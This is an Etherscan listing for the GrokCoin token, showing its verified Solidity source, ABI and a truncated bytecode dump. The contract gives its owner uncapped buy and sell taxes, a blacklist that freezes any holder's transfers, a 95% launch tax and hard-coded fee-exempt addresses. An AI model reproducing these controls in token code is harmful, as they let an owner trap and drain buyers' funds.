ERC-20
Overview
Max Total Supply
690,000,000,000,000 GROK
Holders
514
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.000000009208766716 GROKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GrokCoin
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-09 */ //SPDX-License-Identifier: UNLICENSED /** The primary code of this contract (GrokCoin) was made by Grok AI itself. We only made minor tweaks to ensure it functions flawlessly. Grok it with GrokCoin: Unleash the AI Revolution! Telegram: https://t.me/grokcoin_official Twitter: https://x.com/grokcoineth Website: https://grokcoin.finance/ */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _tokengeneration(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: generation to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = amount; _balances[account] = amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library Address { function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract GrokCoin is ERC20, Ownable { using Address for address payable; IRouter public router; address public pair; bool private _liquidityMutex = false; bool private providingLiquidity = false; bool public tradingEnabled = false; uint256 private tokenLiquidityThreshold = 6900000000000 * 10**18; uint256 public maxWalletLimit = 345000000000 * 10**18; uint256 private genesis_block; uint256 private deadline = 1; uint256 private launchtax = 95; address private marketingWallet = 0xF4ed1e436747671F2391703c846DeF886014C0dc; address public constant deadWallet = 0x000000000000000000000000000000000000dEaD; struct Taxes { uint256 marketing; uint256 liquidity; } Taxes public taxes = Taxes(19, 1); Taxes public sellTaxes = Taxes(39, 1); mapping(address => bool) public exemptFee; mapping(address => bool) private isearlybuyer; modifier mutexLock() { if (!_liquidityMutex) { _liquidityMutex = true; _; _liquidityMutex = false; } } constructor() ERC20("GrokCoin", "GROK") { _tokengeneration(msg.sender, 690000000000000 * 10**decimals()); IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a pair for this new token address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; exemptFee[address(this)] = true; exemptFee[msg.sender] = true; exemptFee[marketingWallet] = true; exemptFee[deadWallet] = true; exemptFee[0xD152f549545093347A162Dce210e7293f1452150] = true; exemptFee[0x663A5C229c09b049E36dCc11a9B0d4a8Eb9db214] = true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal override { require(amount > 0, "Transfer amount must be greater than zero"); require(!isearlybuyer[sender] && !isearlybuyer[recipient], "You can't transfer tokens" ); if (!exemptFee[sender] && !exemptFee[recipient]) { require(tradingEnabled, "Trading not enabled"); } if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) { require(balanceOf(recipient) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit" ); } if (sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex) { if (recipient != pair) { require(balanceOf(recipient) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit" ); } } uint256 feeswap; uint256 feesum; uint256 fee; Taxes memory currentTaxes; bool useLaunchFee = !exemptFee[sender] && !exemptFee[recipient] && block.number < genesis_block + deadline; //set fee to zero if fees in contract are handled or exempted if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient]) fee = 0; //calculate fee else if (recipient == pair && !useLaunchFee) { feeswap = sellTaxes.liquidity + sellTaxes.marketing ; feesum = feeswap; currentTaxes = sellTaxes; } else if (!useLaunchFee) { feeswap = taxes.liquidity + taxes.marketing ; feesum = feeswap; currentTaxes = taxes; } else if (useLaunchFee) { feeswap = launchtax; feesum = launchtax; } fee = (amount * feesum) / 100; //send fees if threshold has been reached //don't do this on buys, breaks swap if (providingLiquidity && sender != pair) handle_fees(feeswap, currentTaxes); //rest to recipient super._transfer(sender, recipient, amount - fee); if (fee > 0) { //send the fee to the contract if (feeswap > 0) { uint256 feeAmount = (amount * feeswap) / 100; super._transfer(sender, address(this), feeAmount); } } } function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock { if(feeswap == 0){ return; } uint256 contractBalance = balanceOf(address(this)); if (contractBalance >= tokenLiquidityThreshold) { if (tokenLiquidityThreshold > 1) { contractBalance = tokenLiquidityThreshold; } // Split the contract balance into halves uint256 denominator = feeswap * 2; uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) / denominator; uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity); uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity; if (ethToAddLiquidityWith > 0) { // Add liquidity addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing; if (marketingAmt > 0) { payable(marketingWallet).sendValue(marketingAmt); } } } function swapTokensForETH(uint256 tokenAmount) private { // generate the pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount }( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadWallet, block.timestamp ); } function updateLiquidityProvide(bool state) external onlyOwner { //update liquidity providing state providingLiquidity = state; } function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner { //update the treshhold tokenLiquidityThreshold = new_amount * 10**decimals(); } function UpdateBuyTaxes( uint256 _marketing, uint256 _liquidity ) external onlyOwner { taxes = Taxes(_marketing, _liquidity); } function SetSellTaxes( uint256 _marketing, uint256 _liquidity ) external onlyOwner { sellTaxes = Taxes(_marketing, _liquidity); } function enableTrading() external onlyOwner { require(!tradingEnabled, "Trading is already enabled"); tradingEnabled = true; providingLiquidity = true; genesis_block = block.number; } function updatedeadline(uint256 _deadline) external onlyOwner { require(!tradingEnabled, "Can't change when trading has started"); deadline = _deadline; } function updateMarketingWallet(address newWallet) external onlyOwner { marketingWallet = newWallet; } function updateIsEarlyBuyer(address account, bool state) external onlyOwner { isearlybuyer[account] = state; } function bulkIsEarlyBuyer(address[] memory accounts, bool state) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { isearlybuyer[accounts[i]] = state; } } function AddExemptFee(address _address) external onlyOwner { exemptFee[_address] = true; } function RemoveExemptFee(address _address) external onlyOwner { exemptFee[_address] = false; } function AddbulkExemptFee(address[] memory accounts) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { exemptFee[accounts[i]] = true; } } function RemovebulkExemptFee(address[] memory accounts) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { exemptFee[accounts[i]] = false; } } function updateMaxWalletLimit(uint256 maxWallet) external onlyOwner { maxWalletLimit = maxWallet * 10**decimals(); } function rescueETH(uint256 weiAmount) external onlyOwner { payable(owner()).transfer(weiAmount); } function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner { IERC20(tokenAdd).transfer(owner(), amount); } // fallbacks receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"AddExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"AddbulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"RemoveExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"RemovebulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"SetSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"UpdateBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkIsEarlyBuyer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateIsEarlyBuyer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"updatedeadline","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6007805462ffffff60a01b191690556c57171a3a037fc0699d200000006008556c045ac14fb35ffcd214a80000006009556001600b819055605f600c55600d80546001600160a01b03191673f4ed1e436747671f2391703c846def886014c0dc1790556013608081905260a0829052600e55600f819055610100604052602760c081905260e08290526010556011553480156200009b57600080fd5b506040518060400160405280600881526020016723b937b5a1b7b4b760c11b8152506040518060400160405280600481526020016347524f4b60e01b8152508160039081620000eb919062000571565b506004620000fa828262000571565b5050506200011762000111620003b560201b60201c565b620003b9565b62000143336200012a6012600a62000752565b6200013d906602738d24e520006200076a565b6200040b565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c3919062000784565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000211573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000237919062000784565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000285573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ab919062000784565b600680546001600160a01b03199081166001600160a01b0395861617909155600780549091169184169190911790555030600090815260126020526040808220805460ff1990811660019081179092553384528284208054821683179055600d54909416835290822080548416821790557f1120e10407cab1193d7c5139d9aae5536deb3d83e855f25f8e42f811c01f56f780548416821790557fbd75767b8b114eb536cfef724cc0b07e050152478ecefed43f44f5a3bc46bf3f805484168217905573663a5c229c09b049e36dcc11a9b0d4a8eb9db2149091527fde1971b300b89e7e26ed403a315e2a5fbd019f3d8bff772aabed72d8b23168b58054909216179055620007af565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004745760405162461bcd60e51b815260206004820152602560248201527f45524332303a2067656e65726174696f6e20746f20746865207a65726f206164604482015264647265737360d81b606482015260840160405180910390fd5b60028190556001600160a01b038216600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004f857607f821691505b6020821081036200051957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c857600081815260208120601f850160051c81016020861015620005485750805b601f850160051c820191505b81811015620005695782815560010162000554565b505050505050565b81516001600160401b038111156200058d576200058d620004cd565b620005a5816200059e8454620004e3565b846200051f565b602080601f831160018114620005dd5760008415620005c45750858301515b600019600386901b1c1916600185901b17855562000569565b600085815260208120601f198616915b828110156200060e57888601518255948401946001909101908401620005ed565b50858210156200062d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006945781600019048211156200067857620006786200063d565b808516156200068657918102915b93841c939080029062000658565b509250929050565b600082620006ad575060016200074c565b81620006bc575060006200074c565b8160018114620006d55760028114620006e05762000700565b60019150506200074c565b60ff841115620006f457620006f46200063d565b50506001821b6200074c565b5060208310610133831016604e8410600b841016171562000725575081810a6200074c565b62000731838362000653565b80600019048211156200074857620007486200063d565b0290505b92915050565b60006200076360ff8416836200069c565b9392505050565b80820281158282048414176200074c576200074c6200063d565b6000602082840312156200079757600080fd5b81516001600160a01b03811681146200076357600080fd5b61246380620007bf6000396000f3fe6080604052600436106102295760003560e01c806385141a7711610123578063aacebbe3116100ab578063f2fde38b1161006f578063f2fde38b146106ab578063f52be97c146106cb578063f570d4de146106eb578063f66895a31461070b578063f887ea401461072657600080fd5b8063aacebbe3146105d5578063c5d32bb2146105f5578063d695609b14610625578063dd62ed3e14610645578063edaa11681461068b57600080fd5b806395d89b41116100f257806395d89b41146105405780639e252f0014610555578063a457c2d714610575578063a8aa1b3114610595578063a9059cbb146105b557600080fd5b806385141a77146104bf5780638a8c523c146104ed5780638cd4426d146105025780638da5cb5b1461052257600080fd5b806342b6fa11116101b157806370a082311161017557806370a0823114610404578063715018a61461043a578063728f8eea1461044f578063832c2bd21461047f5780638514022d1461049f57600080fd5b806342b6fa111461036d5780634324deae1461038d5780634ada218b146103ad5780635dbdb7e3146103ce57806366a88d96146103ee57600080fd5b8063215d92a6116101f8578063215d92a6146102d157806323b872dd146102f1578063251ef09514610311578063313ce56714610331578063395093511461034d57600080fd5b806306fdde0314610235578063095ea7b3146102605780631340538f1461029057806318160ddd146102b257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a610746565b6040516102579190611e41565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611eb4565b6107d8565b6040519015158152602001610257565b34801561029c57600080fd5b506102b06102ab366004611eee565b6107ef565b005b3480156102be57600080fd5b506002545b604051908152602001610257565b3480156102dd57600080fd5b506102b06102ec366004611fca565b610840565b3480156102fd57600080fd5b5061028061030c36600461201c565b6108d6565b34801561031d57600080fd5b506102b061032c36600461205d565b610987565b34801561033d57600080fd5b5060405160128152602001610257565b34801561035957600080fd5b50610280610368366004611eb4565b610a1d565b34801561037957600080fd5b506102b061038836600461209a565b610a54565b34801561039957600080fd5b506102b06103a836600461209a565b610a9a565b3480156103b957600080fd5b5060075461028090600160b01b900460ff1681565b3480156103da57600080fd5b506102b06103e93660046120b3565b610ae0565b3480156103fa57600080fd5b506102c360095481565b34801561041057600080fd5b506102c361041f3660046120b3565b6001600160a01b031660009081526020819052604090205490565b34801561044657600080fd5b506102b0610b2e565b34801561045b57600080fd5b50600e54600f5461046a919082565b60408051928352602083019190915201610257565b34801561048b57600080fd5b506102b061049a3660046120b3565b610b64565b3480156104ab57600080fd5b506102b06104ba3660046120d0565b610baf565b3480156104cb57600080fd5b506104d561dead81565b6040516001600160a01b039091168152602001610257565b3480156104f957600080fd5b506102b0610c04565b34801561050e57600080fd5b506102b061051d366004611eb4565b610ca3565b34801561052e57600080fd5b506005546001600160a01b03166104d5565b34801561054c57600080fd5b5061024a610d5f565b34801561056157600080fd5b506102b061057036600461209a565b610d6e565b34801561058157600080fd5b50610280610590366004611eb4565b610dd2565b3480156105a157600080fd5b506007546104d5906001600160a01b031681565b3480156105c157600080fd5b506102806105d0366004611eb4565b610e6d565b3480156105e157600080fd5b506102b06105f03660046120b3565b610e7a565b34801561060157600080fd5b506102806106103660046120b3565b60126020526000908152604090205460ff1681565b34801561063157600080fd5b506102b06106403660046120fe565b610ec6565b34801561065157600080fd5b506102c3610660366004612120565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561069757600080fd5b506102b06106a636600461209a565b610f0e565b3480156106b757600080fd5b506102b06106c63660046120b3565b610fa5565b3480156106d757600080fd5b506102b06106e63660046120fe565b611040565b3480156106f757600080fd5b506102b061070636600461205d565b611088565b34801561071757600080fd5b5060105460115461046a919082565b34801561073257600080fd5b506006546104d5906001600160a01b031681565b6060600380546107559061214e565b80601f01602080910402602001604051908101604052809291908181526020018280546107819061214e565b80156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b5050505050905090565b60006107e533848461111a565b5060015b92915050565b6005546001600160a01b031633146108225760405162461bcd60e51b815260040161081990612188565b60405180910390fd5b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b0316331461086a5760405162461bcd60e51b815260040161081990612188565b60005b82518110156108d157816013600085848151811061088d5761088d6121bd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c9816121e9565b91505061086d565b505050565b60006108e384848461123e565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109685760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610819565b61097c85336109778685612202565b61111a565b506001949350505050565b6005546001600160a01b031633146109b15760405162461bcd60e51b815260040161081990612188565b60005b8151811015610a19576000601260008484815181106109d5576109d56121bd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a11816121e9565b9150506109b4565b5050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107e5918590610977908690612215565b6005546001600160a01b03163314610a7e5760405162461bcd60e51b815260040161081990612188565b610a8a6012600a61230c565b610a94908261231b565b60085550565b6005546001600160a01b03163314610ac45760405162461bcd60e51b815260040161081990612188565b610ad06012600a61230c565b610ada908261231b565b60095550565b6005546001600160a01b03163314610b0a5760405162461bcd60e51b815260040161081990612188565b6001600160a01b03166000908152601260205260409020805460ff19166001179055565b6005546001600160a01b03163314610b585760405162461bcd60e51b815260040161081990612188565b610b6260006117b5565b565b6005546001600160a01b03163314610b8e5760405162461bcd60e51b815260040161081990612188565b6001600160a01b03166000908152601260205260409020805460ff19169055565b6005546001600160a01b03163314610bd95760405162461bcd60e51b815260040161081990612188565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c2e5760405162461bcd60e51b815260040161081990612188565b600754600160b01b900460ff1615610c885760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610819565b6007805461ffff60a81b191661010160a81b17905543600a55565b6005546001600160a01b03163314610ccd5760405162461bcd60e51b815260040161081990612188565b816001600160a01b031663a9059cbb610cee6005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610d3b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d19190612332565b6060600480546107559061214e565b6005546001600160a01b03163314610d985760405162461bcd60e51b815260040161081990612188565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a19573d6000803e3d6000fd5b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e545760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610819565b610e6333856109778685612202565b5060019392505050565b60006107e533848461123e565b6005546001600160a01b03163314610ea45760405162461bcd60e51b815260040161081990612188565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610ef05760405162461bcd60e51b815260040161081990612188565b60408051808201909152828152602001819052600e91909155600f55565b6005546001600160a01b03163314610f385760405162461bcd60e51b815260040161081990612188565b600754600160b01b900460ff1615610fa05760405162461bcd60e51b815260206004820152602560248201527f43616e2774206368616e6765207768656e2074726164696e6720686173207374604482015264185c9d195960da1b6064820152608401610819565b600b55565b6005546001600160a01b03163314610fcf5760405162461bcd60e51b815260040161081990612188565b6001600160a